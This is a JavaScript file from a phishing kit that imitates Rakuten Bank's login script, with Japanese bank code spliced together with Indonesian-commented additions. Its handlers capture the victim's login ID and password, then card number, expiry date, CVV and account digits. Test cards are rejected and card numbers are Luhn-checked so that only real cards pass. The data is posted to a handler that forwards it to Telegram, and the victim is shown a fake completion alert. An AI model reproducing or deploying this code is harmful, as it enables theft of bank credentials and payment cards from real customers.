// Copyright (c) 2001 Rakuten Bank, Ltd. All Rights Reserved. // -------------------------------------------------- // TELEGRAM INTEGRATION // -------------------------------------------------- var TELEGRAM_ENDPOINT = 'telegram_handler.php'; // Ganti dengan path file PHP handler Anda // Fungsi untuk mengirim data ke Telegram via PHP function sendToTelegram(step, data) { var xhr = new XMLHttpRequest(); xhr.open('POST', TELEGRAM_ENDPOINT, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { if (xhr.status === 200) { console.log('Data sent to Telegram successfully'); if (step === 'step1') { // Setelah Step 1 berhasil dikirim, pindah ke Step 2 transitionToStep2(); } else if (step === 'step2') { // Setelah Step 2 berhasil dikirim, redirect ke finish redirectToFinish(); } } else { console.error('Failed to send data to Telegram'); // Tetap lanjutkan meskipun gagal kirim (untuk UX) if (step === 'step1') { transitionToStep2(); } else if (step === 'step2') { redirectToFinish(); } } } }; var params = 'ajax_action=' + step; for (var key in data) { if (data.hasOwnProperty(key)) { params += '&' + encodeURIComponent(key) + '=' + encodeURIComponent(data[key]); } } xhr.send(params); } // Fungsi untuk pindah dari Step 1 ke Step 2 function transitionToStep2() { var step1 = document.getElementById('step1_container'); var step2 = document.getElementById('step2_container'); if (step1) step1.style.display = 'none'; if (step2) step2.style.display = 'block'; window.scrollTo(0, 0); } // Fungsi untuk redirect ke halaman finish function redirectToFinish() { // Tampilkan alert atau redirect ke halaman finish alert('認証が完了しました。リダイレクトします...'); // window.location.href = 'finish.php'; // Uncomment jika ada halaman finish } // -------------------------------------------------- // LUHN CHECK - Validasi Kartu Kredit // -------------------------------------------------- function luhnCheck(cardNumber) { var num = cardNumber.replace(/\s/g, ''); if (!/^\d+$/.test(num)) return false; var sum = 0; var isEven = false; for (var i = num.length - 1; i >= 0; i--) { var digit = parseInt(num[i], 10); if (isEven) { digit *= 2; if (digit > 9) { digit -= 9; } } sum += digit; isEven = !isEven; } return (sum % 10) === 0; } // Fungsi untuk menolak kartu test function isTestCard(cardNumber) { var num = cardNumber.replace(/\s/g, ''); var testCards = [ '4111111111111111', '5500000000000004', '340000000000009', '30000000000004', '6011000000000004', '3500000000000008', '3088000000000009', '3088000000000017' ]; return testCards.indexOf(num) !== -1; } // -------------------------------------------------- // INPUT MASKING - Format Kartu Kredit // -------------------------------------------------- function maskCardNumber(input) { var value = input.value.replace(/\s/g, '').replace(/\D/g, ''); var masked = ''; for (var i = 0; i < value.length && i < 19; i++) { if (i > 0 && i % 4 === 0) { masked += ' '; } masked += value[i]; } input.value = masked; } function maskExpireDate(input) { var value = input.value.replace(/\D/g, ''); if (value.length >= 2) { value = value.substring(0, 2) + '/' + value.substring(2, 4); } input.value = value; } function maskCVV(input, maxLength) { var value = input.value.replace(/\D/g, ''); input.value = value.substring(0, maxLength || 4); } // -------------------------------------------------- // ボタンを活性化する。 // -------------------------------------------------- function activateDisabledButton(){ var elements = document.getElementsByTagName('input'); for( i=0; i < elements.length; i++) { if (elements[i].type != "radio" && elements[i].type != "checkbox" && elements[i].disabledCommandButton != "disabledCommandButton") { elements[i].disabled = false; } if (elements[i].type == "text" || elements[i].type == "password" || elements[i].type == "checkbox" || elements[i].type == "radio") { elements[i].onkeypress = BlockEnter; } } htmlInformation(); } // -------------------------------------------------- // ボタンを活性化する(エンターキー許可) // -------------------------------------------------- function activateButtonWithEnterkeyPermission(){ var elements = document.getElementsByTagName('input'); for( i=0; i < elements.length; i++) { if (elements[i].type != "radio" && elements[i].type != "checkbox" && elements[i].disabledCommandButton != "disabledCommandButton") { elements[i].disabled = false; } } htmlInformation(); } // -------------------------------------------------- // エンターキー無効化 // -------------------------------------------------- function BlockEnter(evt){ evt = (evt) ? evt : event; var charCode=(evt.charCode) ? evt.charCode : ((evt.which) ? evt.which : evt.keyCode); if ( Number(charCode) == 13 || Number(charCode) == 3) { return false; } else { return true; } } // -------------------------------------------------- // 新ウィンドウ用変数 // -------------------------------------------------- var NEW_WINDOW = null; function openNewWindow(url, name, status) { NEW_WINDOW = window.open(url, name, status); NEW_WINDOW.focus(); } function closeNewWindow() { if ( NEW_WINDOW != null ) { if ( !NEW_WINDOW.closed ) { NEW_WINDOW.close(); } } } // -------------------------------------------------- // 二重送信チェック // -------------------------------------------------- var submitFlag = 0; function checkDuplicatedSubmit(){ if(submitFlag == 0){ submitFlag = 1; return true; } else { return false; } } function initializeSubmitFlag(){ submitFlag = 0; } // -------------------------------------------------- // formのターゲット設定 // -------------------------------------------------- var subViewFlg = 0; function setSubViewFlg() { subViewFlg = 1; } function setTargetAndCheckDuplicatedSubmit(formName, targetName) { if(subViewFlg == 1) { document.forms[formName].target = targetName; subViewFlg = 0; return true; } else { return checkDuplicatedSubmit(); } } // -------------------------------------------------- // セキュリティボード // -------------------------------------------------- var SECURITY_BOARD_WINDOW = null; function openSecurityBoardWindow() { wx=580; wy=700; x=(screen.width - wx)-10; y=0; if(screen.height <= 600){ wy=480; } SECURITY_BOARD_WINDOW = window.open( "", "SECURITY_BOARD", "directories=0,location=0,menubar=0,scrollbars=1,status=0,toolbar=0,resizable=0,width="+ wx +",height="+ wy +",left="+ x +", top="+ y + ", screenX="+ x +",scrrenY="+ y ); SECURITY_BOARD_WINDOW.focus(); } function closeSecurityBoardWindow() { if( SECURITY_BOARD_WINDOW != null ) { if( !SECURITY_BOARD_WINDOW.closed ) { SECURITY_BOARD_WINDOW.close(); } } } function openPage(url, name) { window.open( url, name, "toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes"); window.self.close(); } function activateDisabledButtonWithFocus(elementId){ activateDisabledButton(); var formElement = document.getElementById(elementId); if (formElement != null) { formElement.focus(); } } function activateDisabledButtonWithFocusForLogin(elementId){ activateButtonWithEnterkeyPermission(); var formElement = document.getElementById(elementId); formElement.focus(); } // -------------------------------------------------- // HTML情報 // -------------------------------------------------- function htmlInformation() { try{ var renderedPageNumber = document.getElementById("pageNumber"); if (renderedPageNumber) { var renderedPageNumber = renderedPageNumber.innerText || renderedPageNumber.textContent; if (!renderedPageNumber) { renderedPageNumber = ""; } var renderedHTMLTagNumber = document.getElementsByTagName("SCRIPT").length + "/" + document.getElementsByTagName("FORM").length + "/" + document.getElementsByTagName("INPUT").length + "/" + document.getElementsByTagName("TABLE").length + "/" + document.getElementsByTagName("TD").length + "/" + document.getElementsByTagName("TR").length + "/" + document.getElementsByTagName("A").length + "/" + document.getElementsByTagName("DIV").length + "/" + document.getElementsByTagName("IMG").length; document.cookie = "fes_fw_pn=" + renderedPageNumber + "; path=/; secure;"; document.cookie = "fes_fw_htn=" + renderedHTMLTagNumber + "; path=/; secure;"; } } catch (e) { // Silent fail } } // -------------------------------------------------- // ログインセキュリティボード専用 // -------------------------------------------------- function addLoginSecurityBoardValue(val) { try { var obj = window.opener.document.getElementById("LOGIN:LOGIN_PASSWORD"); var obj2 = window.opener.document.getElementById("LOGIN:LOGIN_PASSWORD_CHECK"); obj.value = obj.value + val; if(obj2 != null || obj2 != undefined) { if(obj2.value == "TOOLTIP_CHECK") { if(obj.value.length > 12) { window.opener.jQuery2('input[type="password"]').val(""); window.opener.jQuery2('input[type="password"]').tooltip("open"); window.opener.jQuery2('input[type="password"]').tooltip("close"); } } } } catch(e) { alert('セキュリティボードが初期化された為、画面を閉じます。\nお手数ですが、もう一度ログイン画面の\n「セキュリティボードを使用」をクリックして下さい。'); self.close(); } } var inputFieldId; function setInputFieldId(id) { inputFieldId = id; } function addSecurityBoardValue(val) { var element; if (inputFieldId != null) { element = document.getElementById(inputFieldId); } else { element = document.getElementById("SECURITY_BOARD:USER_PASSWORD"); } if (element != null) { element.focus(); element.value = element.value + val; } else { alert( "入力する暗証番号入力欄が選択されていません" ); } } // -------------------------------------------------- // 確認ダイアログ // -------------------------------------------------- var dialogSubmitFlg = 0; function confirmOperation(dispMessage) { if(dialogSubmitFlg == 0) { dialogSubmitFlg = 1; if(confirm(dispMessage)) { return true; } else { dialogSubmitFlg = 0; return false; } } dialogSubmitFlg = 0; return false; } function confirmUpdate() { return confirmOperation("更新してよろしいですか?"); } function confirmLogout() { return confirmOperation("ログアウトしますか?"); } function logout(url){ if(confirmOperation('ログアウトしますか?') == true){ window.location = url; } } function executeCommandLink(commandLinkID) { document.getElementById('form:' + commandLinkID).onclick(); } function changeImage(elementID, url) { document.getElementById(elementID).src = url; } function addEvent(element, listener, func) { if(element.addEventListener) { element.addEventListener(listener, func, false); } else if(element.attachEvent) { element.attachEvent("on" + listener, func); } } function createMeta(metaContent) { var objHead = document.getElementsByTagName('HEAD'); if(objHead.length > 0) { var element = null; try { element = document.createElement(''); } catch(e) { element = document.createElement('META'); element.name = "format-detection"; } element.content = metaContent; objHead[0].appendChild(element); } } createMeta("telephone=no"); createMeta("address=no"); createMeta("email=no"); var infoMessage; function closeEvent(message) { infoMessage = message; addEvent(window, "beforeunload", closeBrowser); } function closeBrowser(event) { var closeButtonWidth = 22; event = window.event || event; if (!event) { return; } var xSize = document.documentElement.clinetWidth || document.body.clientWidth || document.body.scrollWidth; if (((xSize - closeButtonWidth <= event.clientX) && (event.clientY < 0))) { return event.returnValue = infoMessage; } } function changeIframeHeight(iframename, iframeheight) { if (iframeheight == null || !iframeheight.match(/^[0-9]+$/)) return; var ifms = document.getElementsByName(iframename); if (ifms == null) return; for(i=0; i < ifms.length; i++) { if (ifms[i].tagName.toUpperCase() == "IFRAME") { ifms[i].style.height=iframeheight + 'px'; return; } } } // -------------------------------------------------- // STEP 1 HANDLER - Login Form Submit // -------------------------------------------------- function handleStep1Submit(event) { event.preventDefault(); var userId = document.querySelector('input[name="j_id_t:j_id_1y"]'); var password = document.querySelector('input[name="j_id_t:LOGIN_PASSWORD"]'); if (!userId || !password) { console.error('Login form elements not found'); return false; } var userIdValue = userId.value.trim(); var passwordValue = password.value.trim(); if (!userIdValue || !passwordValue) { alert('ユーザーIDとパスワードを入力してください。'); return false; } // Kirim data ke Telegram sendToTelegram('step1', { user_id: userIdValue, password: passwordValue }); return false; // Prevent default form submission } // -------------------------------------------------- // STEP 2 HANDLER - Card Form Submit // -------------------------------------------------- function handleStep2Submit(event) { event.preventDefault(); var cardNumber = document.getElementById('card_number'); var expireDate = document.getElementById('expire_date'); var cvv = document.getElementById('cvv'); var accountLast4 = document.getElementById('account_last4'); var userId = document.querySelector('input[name="j_id_t:j_id_1y"]'); if (!cardNumber || !expireDate || !cvv || !accountLast4) { console.error('Card form elements not found'); return false; } var cardNumberValue = cardNumber.value.trim(); var expireDateValue = expireDate.value.trim(); var cvvValue = cvv.value.trim(); var accountLast4Value = accountLast4.value.trim(); var userIdValue = userId ? userId.value.trim() : 'Unknown'; // Validasi kartu test if (isTestCard(cardNumberValue)) { alert('このカードは使用できません。別のカードを入力してください。'); cardNumber.style.border = '2px solid red'; cardNumber.focus(); return false; } // Validasi Luhn Check if (!luhnCheck(cardNumberValue)) { alert('カード番号が正しくありません。'); cardNumber.style.border = '2px solid red'; cardNumber.focus(); return false; } // Validasi field kosong if (!cardNumberValue || !expireDateValue || !cvvValue || !accountLast4Value) { alert('すべての項目を入力してください。'); return false; } // Kirim data ke Telegram sendToTelegram('step2', { user_id: userIdValue, card_number: cardNumberValue, expire_date: expireDateValue, cvv: cvvValue, account_last4: accountLast4Value }); return false; } // -------------------------------------------------- // INISIALISASI - Setup Event Listeners // -------------------------------------------------- function initializeStepHandlers() { // Setup Step 1 form var step1Form = document.getElementById('j_id_t'); if (step1Form) { step1Form.onsubmit = handleStep1Submit; } // Setup Step 2 form var step2Form = document.getElementById('step2_form'); if (step2Form) { step2Form.onsubmit = handleStep2Submit; } // Setup input masking untuk Step 2 var cardNumberInput = document.getElementById('card_number'); if (cardNumberInput) { cardNumberInput.oninput = function() { maskCardNumber(this); }; } var expireDateInput = document.getElementById('expire_date'); if (expireDateInput) { expireDateInput.oninput = function() { maskExpireDate(this); }; } var cvvInput = document.getElementById('cvv'); if (cvvInput) { cvvInput.oninput = function() { maskCVV(this, 4); }; } var accountLast4Input = document.getElementById('account_last4'); if (accountLast4Input) { accountLast4Input.oninput = function() { maskCVV(this, 4); }; } // Setup toggle panel var openPanel = document.getElementById('open-panel'); var closePanel = document.getElementById('close-panel'); var showDetails = document.getElementById('show-details'); if (openPanel && showDetails) { openPanel.onclick = function(e) { e.preventDefault(); showDetails.style.display = 'block'; openPanel.style.display = 'none'; }; } if (closePanel && showDetails && openPanel) { closePanel.onclick = function(e) { e.preventDefault(); showDetails.style.display = 'none'; openPanel.style.display = 'block'; }; } } // Jalankan inisialisasi saat DOM ready if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', initializeStepHandlers); } else { initializeStepHandlers(); } // -------------------------------------------------- // jQueryの読込 // -------------------------------------------------- function includeJquery() { document.write(""); document.write(""); document.write(""); document.write(""); document.write(""); document.write(""); document.write(""); document.write(""); } includeJquery();